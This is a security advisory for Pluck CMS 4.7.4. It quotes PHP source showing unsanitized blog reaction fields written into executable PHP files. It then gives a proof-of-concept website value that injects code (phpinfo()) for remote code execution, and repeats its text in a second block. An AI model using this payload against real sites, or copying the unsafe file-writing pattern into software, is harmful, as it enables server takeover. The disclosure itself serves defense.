critical code in /data/modules/blog/blog.site.php, $POST is passed to blog_save_reaction, 'blog_reaction_email' and 'blog_reaction_website' will be filtered:
//If form is posted...
if (isset($_POST['submit'])) {
//Check if everything has been filled in.
if (empty($_POST['blog_reaction_name']) || filter_input(INPUT_POST, 'blog_reaction_email', FILTER_VALIDATE_EMAIL) == false || (($_POST['blog_reaction_website'] != 'http://' && !empty($_POST['blog_reaction_website'])) && filter_input(INPUT_POST, 'blog_reaction_website', FILTER_VALIDATE_URL, FILTER_FLAG_HOST_REQUIRED) == false) || empty($_POST['blog_reaction_message']))
echo '<p class="error">'.$lang['contactform']['fields'].'</p>';
//Add reaction.
else {
blog_save_reaction($_GET['post'], $_POST['blog_reaction_name'], $_POST['blog_reaction_email'], $_POST['blog_reaction_website'], $_POST['blog_reaction_message']);
//Redirect user.
redirect(SITE_URI.'/'.PAGE_URL_PREFIX.CURRENT_PAGE_SEONAME.BLOG_URL_PREFIX.$_GET['post'], 0);
}
}
blog_save_reaction in /data/modules/blog/functions.php, $name and $message will be sanitized, but $website and $email will not be sanitized:
function blog_save_reaction($post, $name, $email, $website, $message, $id = null, $force_time = null) {
global $lang;
//Sanitize variables.
$name = sanitize($name);
$message = sanitize($message);
$message = nl2br($message);
//Have to make sure that the dir exists.
if (!is_dir(BLOG_POSTS_DIR.'/'.$post)) {
mkdir(BLOG_POSTS_DIR.'/'.$post);
chmod(BLOG_POSTS_DIR.'/'.$post, 0777);
}
if (!empty($id))
include BLOG_POSTS_DIR.'/'.$post.'/'.$id.'.php';
else {
$files = read_dir_contents(BLOG_POSTS_DIR.'/'.$post, 'files');
if ($files) {
$id = count($files);
$id++;
}
else
$id = 1;
if (empty($force_time))
$reaction_time = time();
else
$reaction_time = $force_time;
}
$data['reaction_name'] = $name;
$data['reaction_email'] = $email;
if ($website != 'http://' && !empty($website))
$data['reaction_website'] = $website;
$data['reaction_message'] = $message;
$data['reaction_time'] = $reaction_time;
save_file(BLOG_POSTS_DIR.'/'.$post.'/'.$id.'.php', $data);
}
savefile in /data/inc/functions.all.php, there is no security checking about $value:
function save_file($file, $content, $chmod = 0777) {
$data = fopen($file, 'w');
//If it's an array, we have to create the structure.
if (is_array($content) && !empty($content)) {
$final_content = '<?php'."\n";
foreach ($content as $var => $value) {
$final_content .= '$'.$var.' = \''.$value.'\';'."\n";
}
$final_content .= '?>';
fputs($data, $final_content);
}
else
fputs($data, $content);
fclose($data);
if ($chmod != FALSE)
chmod($file, $chmod);
}
We found that filter_input is not sufficient, So $_POST[‘blog_reaction_website’] and $_POST[‘blog_reaction_email’] can cause getshell.
POC:
1) install cms, login with admnistartor to create a blog, create a page and insert blog to it, logout with administrator
2) browser the page as guest, and click reactions, submit data as follow:
Website data is: http://www.google.com/index.php';phpinfo();//
description
Pluck cms v4.7.4 getshell vulerability
details
critical code in /data/modules/blog/blog.site.php, $POST is passed to blog_save_reaction, 'blog_reaction_email' and 'blog_reaction_website' will be filtered:
blog_save_reaction in /data/modules/blog/functions.php, $name and $message will be sanitized, but $website and $email will not be sanitized:
savefile in /data/inc/functions.all.php, there is no security checking about $value:
We found that filter_input is not sufficient, So $_POST[‘blog_reaction_website’] and $_POST[‘blog_reaction_email’] can cause getshell.
POC: 1) install cms, login with admnistartor to create a blog, create a page and insert blog to it, logout with administrator 2) browser the page as guest, and click reactions, submit data as follow: Website data is: http://www.google.com/index.php';phpinfo();//
After click send, phpinfo() will be excuted
Credit: ADLab of VenusTech